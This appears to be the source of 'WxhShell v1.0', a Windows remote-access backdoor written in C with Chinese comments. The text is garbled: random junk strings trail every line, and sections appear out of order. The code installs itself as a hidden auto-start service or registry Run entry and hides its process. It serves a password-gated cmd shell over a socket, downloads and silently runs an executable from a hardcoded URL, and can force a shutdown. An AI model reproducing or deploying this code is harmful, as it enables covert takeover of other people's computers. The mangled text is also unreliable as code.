    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h,%`*Qg6  
    if(Boot(SHUTDOWN)) W%&t[ _21  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zG-pqE6  
    else { fy9mS  
    closesocket(wsh); 011 N  
    ExitThread(0); DQ%bcXs  
    } `#@#e Z  
    break; 7QV@lR<C2R  
    } )aSj!X'`;  
  // 获取shell .)=T1^[hI  
  case 's': { E)w6ZwV  
    CmdShell(wsh); &U*MLf83`  
    closesocket(wsh); a7$-gW"Z(,  
    ExitThread(0); (zbV-4C  
    break; BNi6I\wa  
  } ^u2unZ9BK!  
  // 退出 pRR1k?  
  case 'x': { m8M2ka  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q /D?U[G  
    CloseIt(wsh); N;Hoi8W  
    break; >A&D/k MO  
    } (<GBhNj=c  
  // 离开 S $j"'K  
  case 'q': { 0\tV@ 6p2=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); % !P^se  
    closesocket(wsh); D+4oV6}~  
    WSACleanup(); )M3} 6^s]  
    exit(1); xXb7/.*qE  
    break; B ]*v{?<W  
        } T{ WJf-pI  
  } ZkWX4?&OMt  
  } JG^fu*K  
wFbw3>'a9  
  // 提示信息 `-_kOxe3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PFR64HK2  
} OVq(ulwi+  
  } Dh+<|6mx  
z`]sWi F0  
  return; QC\r|RXW  
} #su R[K*S  
.+3~ w  
// shell模块句柄 =Jyi9VN=&  
int CmdShell(SOCKET sock) .)(5F45Wg  
{ (1%O;D.*?{  
STARTUPINFO si;  N>V\  
ZeroMemory(&si,sizeof(si)); uuaoBf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?uAq goCl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A4K8DP  
PROCESS_INFORMATION ProcessInfo; y26?>.!  
char cmdline[]="cmd"; 6(pa2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0*J},#ba$  
  return 0; 1&Z#$iD  
} ] 6Y6q])Z  
x)+ q$FB  
// 自身启动模式 fEJF3<UF&  
int StartFromService(void) y':JUwUN  
{ E+Eug{+  
typedef struct WRCf [5  
{ iQd,xr  
  DWORD ExitStatus; bU$f4J  
  DWORD PebBaseAddress; e^=b#!}-5:  
  DWORD AffinityMask; =|+%^)E  
  DWORD BasePriority;  K P@bz  
  ULONG UniqueProcessId; \d)HwO  
  ULONG InheritedFromUniqueProcessId; R6cd;| fan  
}   PROCESS_BASIC_INFORMATION; $G<!+^T  
>mAi/TZC  
PROCNTQSIP NtQueryInformationProcess; ew+>?a'&L  
!8Y $}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V$Zl]f$S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Kcu*Z  
Cfr2 ~w  
  HANDLE             hProcess; F:~k4uTW\b  
  PROCESS_BASIC_INFORMATION pbi; E"<-To  
<`)vp0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2#81oz&K  
  if(NULL == hInst ) return 0; ~J:qG9|]}  
j^5VmG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); byJR6f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mYx6JU*`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b[U;P=;=  
B;64(Vsa8  
  if (!NtQueryInformationProcess) return 0; 0<[g7BbR  
vJ?j#Ch  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r91b]m3xL  
  if(!hProcess) return 0; [gaB}aLn  
j&-<e7O=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }PUY~ u  
a7U`/*  
  CloseHandle(hProcess); bZ SaL^^(  
ugV/#v O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GIM'H;XG  
if(hProcess==NULL) return 0; #O1%k;BL  
mS?W+jy%  
HMODULE hMod; 9,jFQb(),  
char procName[255]; ^aI$97Li  
unsigned long cbNeeded; ]?*'[  
wh2Ljskda8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b"JX6efnN  
h+DK .$  
  CloseHandle(hProcess); c#zx" ,K  
4+B&/}FDLo  
if(strstr(procName,"services")) return 1; // 以服务启动 tk\)]kj  
bLsN?_jy  
  return 0; // 注册表启动 7pO/!Lm  
} YZy%]i=1  
rM0Idc.$&&  
// 主模块 nV/;yl4e{  
int StartWxhshell(LPSTR lpCmdLine) m;cgX#k5  
{ *@eZt*_  
  SOCKET wsl; bH}?DMq]O  
BOOL val=TRUE; (DQ ]58&  
  int port=0; miUjpXt  
  struct sockaddr_in door; uskJ(!  
g3| 62uDF  
  if(wscfg.ws_autoins) Install(); * "d['V3  
~.$ca.Gf  
port=atoi(lpCmdLine); @[v4[yq-  
*J3Z.fq%:i  
if(port<=0) port=wscfg.ws_port; 'FM_5`&  
2l}H=DZV  
  WSADATA data; Oj1B @QE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9j>LU<Z  
/_mU%fl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :Aa5,{v _  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =rN_8&  
  door.sin_family = AF_INET; 9Pql\]9"o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6KE?@3;Om  
  door.sin_port = htons(port); U>hpYqf_  
UO( ?EELm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )v+\1  
closesocket(wsl); UT%?3}*u"  
return 1; .#{m1mr  
} xM:9XhH1  
O ]!/fZ;(  
  if(listen(wsl,2) == INVALID_SOCKET) { M*Ri1   
closesocket(wsl); wBz5_ OFVw  
return 1; m't8\fo^w  
} | Zj=E$  
  Wxhshell(wsl); s x2\  
  WSACleanup(); +[":W?j  
~COd(,ul  
return 0; >Yx,%a@~R  
!bBx'  
} L=&dJpyfT  
yq6:7<  
// 以NT服务方式启动 %\B@!4]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M7.H;.?  
{ \ZtF,`Z  
DWORD   status = 0; {JtfEna  
  DWORD   specificError = 0xfffffff; /Jc54d  
)@_5}8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7g.3)1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3M"eAK([  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aucG|}B  
  serviceStatus.dwWin32ExitCode     = 0; % U|4%P  
  serviceStatus.dwServiceSpecificExitCode = 0; [orS-H7^  
  serviceStatus.dwCheckPoint       = 0; fzr0dcNgM  
  serviceStatus.dwWaitHint       = 0; >k8FUf(c  
s >7(S%#N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H|z:j35\  
  if (hServiceStatusHandle==0) return; /TScYE:$HE  
^]TYS]C  
status = GetLastError(); LvW7>-  
  if (status!=NO_ERROR) }3=^Ik;x  
{ 1q/Q@O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )#v0.pE  
    serviceStatus.dwCheckPoint       = 0; A Eo  
    serviceStatus.dwWaitHint       = 0;  %Krf,H  
    serviceStatus.dwWin32ExitCode     = status; bG/[mZpRT  
    serviceStatus.dwServiceSpecificExitCode = specificError; j7qGZ"8ak  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N*'d]P2P`J  
    return; Eb89B%L62G  
  } k? !'OHmBL  
s!?T$@a=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lr9s`>9  
  serviceStatus.dwCheckPoint       = 0; >#|%y>g .o  
  serviceStatus.dwWaitHint       = 0; P vW~EJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cm`x;[e6l  
} F!cRx%R  
Z`x*Igf8  
// 处理NT服务事件,比如:启动、停止 %Wa. 2s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %<h+_(\h  
{ c}mWAZ=wF  
switch(fdwControl) ^gY3))2_  
{ t{Z:N']H  
case SERVICE_CONTROL_STOP: ,XYtoZa  
  serviceStatus.dwWin32ExitCode = 0; 2!";?E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !T~C=,;  
  serviceStatus.dwCheckPoint   = 0; TSUT3'&~p  
  serviceStatus.dwWaitHint     = 0; '<Jqp7$dL  
  { 1(jDBP!8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c63yJqiW  
  } !1xX)XD4y  
  return; />dYkIv  
case SERVICE_CONTROL_PAUSE: xnPi'?A]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W6jdS;3  
  break; ehyCAp0oI  
case SERVICE_CONTROL_CONTINUE: {qb2!}FQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >.r> aH  
  break; x"{WLZ   
case SERVICE_CONTROL_INTERROGATE: CQ:38l\`gd  
  break; Itv}TK eF  
}; vu`,:/|h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); siD/`T&  
} oE&#Tl?Vt  
|%12Vr]J  
// 标准应用程序主函数 0tEe $9eK@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *#7]PA Qw  
{ ~JG\b?s  
|yVveJ  
// 获取操作系统版本 ?+?`Js o(  
OsIsNt=GetOsVer(); TyN]Pa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R 3@luT]  
VTJxVYE  
  // 从命令行安装 Q$8K-5U%  
  if(strpbrk(lpCmdLine,"iI")) Install(); x#}{z1op9  
g @qrVQv  
  // 下载执行文件 h4tAaPcS+  
if(wscfg.ws_downexe) { LuvRxmQ`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ' ;3#t(J;  
  WinExec(wscfg.ws_filenam,SW_HIDE); !b8.XGo  
} Q[MWzsx  
h9I vuv'  
if(!OsIsNt) { v 6KRE3:V  
// 如果时win9x,隐藏进程并且设置为注册表启动 L<0eIw  
HideProc(); s|IC;C|  
StartWxhshell(lpCmdLine); DgODTxiX  
} N~+ e\K6  
else < m/@_"  
  if(StartFromService()) 10{zF_9yx  
  // 以服务方式启动 dQJ)0!B  
  StartServiceCtrlDispatcher(DispatchTable); @=dwvl' W  
else sU0W)c;  
  // 普通方式启动 V~fPp"F  
  StartWxhshell(lpCmdLine); pd}Cg'}X  
MP$9W)  
return 0; ?C(3TKH  
} Zk> #T:{h  
B;c2gu  
;%!]C0 ?  
$HP<C>^Z8  
=========================================== VRD:PVz  
]La~Bh6;m  
'|@?R|i0  
$$e"[g  
Eh&-b6:  
Ft 6{g JBG  
" D2]i*gs  
dZ `c  
#include <stdio.h> _p;=]#+c&  
#include <string.h> E~`l/ W  
#include <windows.h> ,dXJCX8so  
#include <winsock2.h> {P'^X+B0*  
#include <winsvc.h> xP-\)d-.aN  
#include <urlmon.h> cjwc:3 CM  
raJv$P  
#pragma comment (lib, "Ws2_32.lib") SSysOeD+  
#pragma comment (lib, "urlmon.lib") U o[\1)  
ZK5 wZU  
#define MAX_USER   100 // 最大客户端连接数 #D-Ttla  
#define BUF_SOCK   200 // sock buffer "wnN 0 p  
#define KEY_BUFF   255 // 输入 buffer v4vIcHDs  
X ;Cl8  
#define REBOOT     0   // 重启 uYCWsw/  
#define SHUTDOWN   1   // 关机 :N64FR#  
ff5 e]^,  
#define DEF_PORT   5000 // 监听端口 CkR 95*  
SaFNPnk=  
#define REG_LEN     16   // 注册表键长度 9i+.iuE%Bu  
#define SVC_LEN     80   // NT服务名长度 ndHUQ$/(  
`l0"4 [?  
// 从dll定义API U?=-V8#M|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;VS$xnZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Cq[<CPAS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OBL2W\{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); < Wm'V-  
*;[g Ga~  
// wxhshell配置信息 (O"-6`w[  
struct WSCFG { ^NXxMC( e+  
  int ws_port;         // 监听端口 ]h%~'8g,  
  char ws_passstr[REG_LEN]; // 口令 'a G`qPB  
  int ws_autoins;       // 安装标记, 1=yes 0=no N2 .Ym;^  
  char ws_regname[REG_LEN]; // 注册表键名 xjh(;S'  
  char ws_svcname[REG_LEN]; // 服务名 >hO9b;F}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /~3kkM(Ty  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Mb=j'H<N@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 47!k!cHa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no om2)Cd9~7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tL]T_]z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P (aN6)D  
>E9 k5  
}; YK>?;U+|  
}///k]_Sh  
// default Wxhshell configuration ){4!  
struct WSCFG wscfg={DEF_PORT, zKfY0A R  
    "xuhuanlingzhe", cYz|Ux  
    1, yq12"Rs  
    "Wxhshell", #Wq@j1?  
    "Wxhshell", #vzt6x@*  
            "WxhShell Service", 6e%ZNw{#=  
    "Wrsky Windows CmdShell Service", =0mn6b9-=  
    "Please Input Your Password: ", Axw+zO  
  1, h^'+y1  
  "http://www.wrsky.com/wxhshell.exe", cC]lO  
  "Wxhshell.exe" Q!{,^Qb  
    }; ?*&5`Xh  
Yc^,Cj{OM  
// 消息定义模块 ,c|Ai(U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1*?L>@Wdy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LAY~hF"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1!;4I@W(I)  
char *msg_ws_ext="\n\rExit."; h-6x! 6pm  
char *msg_ws_end="\n\rQuit."; v+C%t!dx  
char *msg_ws_boot="\n\rReboot..."; x:+]^?}r  
char *msg_ws_poff="\n\rShutdown..."; `t>:i!s/  
char *msg_ws_down="\n\rSave to "; RG:_:%@%}  
<3laNk  
char *msg_ws_err="\n\rErr!"; ]/7#[  
char *msg_ws_ok="\n\rOK!"; dH)\zCt  
")9jt^  
char ExeFile[MAX_PATH]; H3+P;2 {  
int nUser = 0; 465?,EpS  
HANDLE handles[MAX_USER]; :@~mN7O*  
int OsIsNt; byPqPSY  
\?vn0;R4  
SERVICE_STATUS       serviceStatus; !d&SVS^mo  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y>0Gmr  
FiKGB\_]  
// 函数声明 |Q$Dj!!1P  
int Install(void); bzh:  
int Uninstall(void); )!Zm*(  
int DownloadFile(char *sURL, SOCKET wsh); 0zE(:K  
int Boot(int flag); Iz8gZ:rd0  
void HideProc(void); 4A)_D{(SH  
int GetOsVer(void); Q+*@!s  
int Wxhshell(SOCKET wsl); KebC$g@W  
void TalkWithClient(void *cs); A'n{K#  
int CmdShell(SOCKET sock); 7MIrrhk  
int StartFromService(void); +iw4>0pi  
int StartWxhshell(LPSTR lpCmdLine); o\X|\nUk  
MH=Ld=i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p. KT=dZT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T:g%b @  
*d:$vaL  
// 数据结构和表定义 5C-XQS1  
SERVICE_TABLE_ENTRY DispatchTable[] = zT")!Df>'  
{ QObHW[:F  
{wscfg.ws_svcname, NTServiceMain}, 5ljEh -  
{NULL, NULL} V`}u:t7r  
}; @zT2!C?^L  
ak zKX}  
// 自我安装 c]NZG n*  
int Install(void) 1cD  
{ ~)*uJ wW/a  
  char svExeFile[MAX_PATH]; gnlU  
  HKEY key; ;&XC*R+  
  strcpy(svExeFile,ExeFile); i<*W,D6  
meZZQ:eSl  
// 如果是win9x系统,修改注册表设为自启动 KgXu x-q  
if(!OsIsNt) { k0,]2R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;_m; :<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V!QC.D<  
  RegCloseKey(key); d'[q2y?6N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z\>ZgRi~n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gm=e;X;r  
  RegCloseKey(key); ^M+aQg%  
  return 0; 0P;\ :-&p  
    } )B"E+Q'h{7  
  } Tj6kCB  
} p5J!j I=  
else { 95Q^7oI  
_7 ^:1i~:.  
// 如果是NT以上系统,安装为系统服务 <(l`zLf4p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YwZ ]J  
if (schSCManager!=0) [= Xb*~  
{ 0B"_St}3D  
  SC_HANDLE schService = CreateService w!OYH1ds]_  
  ( uCc5)  
  schSCManager, IEY\l{s  
  wscfg.ws_svcname, YcW) D  
  wscfg.ws_svcdisp, Z61L;E  
  SERVICE_ALL_ACCESS, XV1XzG#C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `Dp4Z>| K  
  SERVICE_AUTO_START, f& Vx`oj  
  SERVICE_ERROR_NORMAL, &U\//   
  svExeFile, 7,Y+FZ  
  NULL, 7V&ly{</  
  NULL, luJNdA:t&  
  NULL, T$Z}1e]  
  NULL, G)&!f)6  
  NULL _po5j;"_O  
  ); rLA^ &P:  
  if (schService!=0) ow;a7  
  { s`=&l  
  CloseServiceHandle(schService); 9&{HD  
  CloseServiceHandle(schSCManager); f/U~X;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (#+81 Dr  
  strcat(svExeFile,wscfg.ws_svcname); 'rrnTd c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AI-ZZ6lzR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fJ+4H4K  
  RegCloseKey(key); lXXWQ=  
  return 0; M,we,!B0  
    } O$X^Ea7~  
  } l=C|4@  
  CloseServiceHandle(schSCManager); zm#%]p80f  
} j|@8VxZ  
} 6O"y  
: :928y  
return 1; (&M,rW~Qxs  
} g`4WisL1n  
dw'P =8d  
// 自我卸载 \_7'f  
int Uninstall(void) kArF Gb2c  
{ O;.DQ  
  HKEY key; " "S&zN  
B5[As8Sa  
if(!OsIsNt) { YD#L@:&gv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?O0,)hro  
  RegDeleteValue(key,wscfg.ws_regname); ~J >Jd  
  RegCloseKey(key); _)6r@fZ.p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \mqrDaB  
  RegDeleteValue(key,wscfg.ws_regname); NRI[|  
  RegCloseKey(key); eh, _g.  
  return 0; ;rl61d}NH#  
  } 3&R1C>JS ]  
} fONycXM]  
} ?gCP"~  
else { v)nBp\fjxp  
X$eR RSW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B[5<&  
if (schSCManager!=0) Gz2\&rmN  
{ QV -ZP'e^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _5o5/@  
  if (schService!=0) TJ|do`fw>  
  { {x~r$")c?  
  if(DeleteService(schService)!=0) { "ZuA._  
  CloseServiceHandle(schService); :wfN+g=  
  CloseServiceHandle(schSCManager); 4wx{i6  
  return 0; NKRm#  
  } >AWWwq -  
  CloseServiceHandle(schService); D8`SI2 1P  
  } +9M";'\c  
  CloseServiceHandle(schSCManager); jVna;o)  
} 7?8+h  
} #;h> x  
]2_=(N\Kt  
return 1; /xd|mo)D  
} cDz^jC   
!E^\)=E)P  
// 从指定url下载文件 @ ZN@EOM$+  
int DownloadFile(char *sURL, SOCKET wsh) +ijxv  
{ \ *A!@T  
  HRESULT hr; WUb] 8$n  
char seps[]= "/"; 9ZDbZc  
char *token; [}5mi?v  
char *file; E`|vu*l7  
char myURL[MAX_PATH]; J^zB 5W,)  
char myFILE[MAX_PATH]; M]xfH*  
z~/e\  
strcpy(myURL,sURL); .>2]m[53  
  token=strtok(myURL,seps);  xF*i+'2  
  while(token!=NULL) 8Ep!  
  { 3teP6|K'g  
    file=token; xdMY2u  
  token=strtok(NULL,seps); z7pw~Tqlz  
  } QE721y   
k{bC3)'$#R  
GetCurrentDirectory(MAX_PATH,myFILE); {gzVbZ#  
strcat(myFILE, "\\"); CW FE{  
strcat(myFILE, file); XJ1Bl  
  send(wsh,myFILE,strlen(myFILE),0); ,M$h3B\;r  
send(wsh,"...",3,0); FLIU}doc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'ZAIe7i&  
  if(hr==S_OK) KLjvPT\  
return 0; \/-4jF:  
else *]c~[&x5&  
return 1; NMzq10M=6  
ssl.Y!  
} :.(A,  
Z7k ku:9  
// 系统电源模块 r-a0XNS*  
int Boot(int flag) %8>0;ktU  
{ ~VV$wU!A  
  HANDLE hToken; gOMy8w4>  
  TOKEN_PRIVILEGES tkp; ^b 3nEcQn  
DXZZZ[#  
  if(OsIsNt) { *hh9 K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r6It )PQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :es=T`("A8  
    tkp.PrivilegeCount = 1; Cv;#8Wj}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JD9=gBN\?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N;4wbUPL7h  
if(flag==REBOOT) { B &3sV+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Kaji&Ibd  
  return 0; D-e?;<  
} q``/7  
else { -op)X>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fnIF<Zt  
  return 0; c GyBml1  
} tRNMiU  
  } *d31fBCk%  
  else { Zh_3ydMD1  
if(flag==REBOOT) { 5ka6=R(r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WT}x Cni  
  return 0; V5gr-^E  
} _>_ "cKS  
else { h;R>|2A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G[n;%c~`+  
  return 0; )_}xK={  
} f/"IC;<~t>  
} V7B%o:FZo  
h~O^~"jc  
return 1; WA.c.{w\  
} .vd*~U"  
%AA -G  
// win9x进程隐藏模块 5Ha(i [d  
void HideProc(void) V 7D<'!  
{ E&)o.l<h|  
m ;wj|@cF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %CqG/ol  
  if ( hKernel != NULL ) _|#P~Ft  
  { m= %KaRI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "BIhd*K[~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]`|;ZQiD  
    FreeLibrary(hKernel); bD?gwhAKA  
  } 8t |?b  
!vuun |  
return; @~FJlG(n  
} R_"6E8N  
#}Bv/`t  
// 获取操作系统版本 qC q?`0&#  
int GetOsVer(void) n*Hx"2XF  
{ @VyF' ?}  
  OSVERSIONINFO winfo; QHd|cg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,rOh*ebF  
  GetVersionEx(&winfo); :d~mlyFI6P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uc LDl  
  return 1; \\{78WDA  
  else %BQ?DTtb7'  
  return 0; W,:j >v g  
} 09i7 7  
Vddod  
// 客户端句柄模块 8C*xrg#g:  
int Wxhshell(SOCKET wsl) sXYXBX[  
{ 5C9 .h:c4y  
  SOCKET wsh; rS+ >oP}  
  struct sockaddr_in client; z?GtC{L9  
  DWORD myID; 'a$/ !~X  
|)mUO:*  
  while(nUser<MAX_USER) M0hR]4T  
{ g!i45]6[Nw  
  int nSize=sizeof(client); Z% ]LZ/O8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w^:@g~  
  if(wsh==INVALID_SOCKET) return 1; 5i'KGL  
e0IGx]5i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QBA{*@ A-  
if(handles[nUser]==0) Z{2QDjAI;  
  closesocket(wsh); ,+x\NY2d  
else X@/X65=[  
  nUser++; ,V)hV@Dk  
  } 3wQ\L=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;CuL1N#I  
M #%V%<  
  return 0; pV1 ;gqXNS  
} 0*j\i@  
3f:]*U+O  
// 关闭 socket 5f75r  
void CloseIt(SOCKET wsh) hTPvt  
{ :u2tu60&MJ  
closesocket(wsh); [a.(0YLr'w  
nUser--; YVk +zt~S  
ExitThread(0); ebLt:gGo  
} B)dd6R>8  
|BO5<`&I  
// 客户端请求句柄 >b~Q%{1  
void TalkWithClient(void *cs) !Nbi&^k B  
{ `.wgRUhFH;  
MfA%Xep  
  SOCKET wsh=(SOCKET)cs; `:2np{  
  char pwd[SVC_LEN]; kjr q;j:  
  char cmd[KEY_BUFF]; xscR Bx  
char chr[1]; I]~s{I(EK  
int i,j; ncpA\E;ff^  
T,B%iZgCh  
  while (nUser < MAX_USER) { iphdJZ/f  
%v^qQWy=*  
if(wscfg.ws_passstr) { k"cKxzB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G$~hAZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3Q,p,  
  //ZeroMemory(pwd,KEY_BUFF); McN'J. Sxp  
      i=0; Rli`]~!w  
  while(i<SVC_LEN) { #t VGqf  
F |_mCwA  
  // 设置超时 v'Up& /(  
  fd_set FdRead; z[JM ]Wy  
  struct timeval TimeOut; <!X]$kvG  
  FD_ZERO(&FdRead); V3axwg_  
  FD_SET(wsh,&FdRead); @Q:?,  
  TimeOut.tv_sec=8; #Zn+-Ih  
  TimeOut.tv_usec=0; .SBN^fq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); , _xJ9_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T<RWz  
Iapzhy2l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >_X(rar0  
  pwd=chr[0]; SQk5SP  
  if(chr[0]==0xd || chr[0]==0xa) { z] |Y   
  pwd=0; qLB(Th\&'  
  break; /#}%c'  
  } T n,Ifo3  
  i++; 2XeNE[  
    } PG'I7)Bv  
M F$NcU  
  // 如果是非法用户,关闭 socket P[e#j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5=!aq\ 5  
} r?`7i'  
u;8bbv4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U* T :p>&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kn\$\?u  
D.h<!?E%  
while(1) { ]`}EOS-Q  
T8vMBaU!qY  
  ZeroMemory(cmd,KEY_BUFF); [VOw:|Tt  
e XmYw^n  
      // 自动支持客户端 telnet标准   ^{g+HFTA@  
  j=0; |G)bnmi7  
  while(j<KEY_BUFF) { |mz0 ]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /jOug>s  
  cmd[j]=chr[0]; =[Tf9u QY  
  if(chr[0]==0xa || chr[0]==0xd) { <"S/M]9  
  cmd[j]=0; JZ-M<rcC  
  break; b~K-mjJI  
  } u_$Spbc]/  
  j++; >k u7{1)  
    } mPi{:  
ML X: S?  
  // 下载文件 oXqx]@7  
  if(strstr(cmd,"http://")) { tNW0 C]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^ X<ytOd5  
  if(DownloadFile(cmd,wsh)) 3N{ ZX{}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;giT[KK  
  else K]i2$M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); td2bL4  
  } 8V:yOq10  
  else { 7JP.c@s  
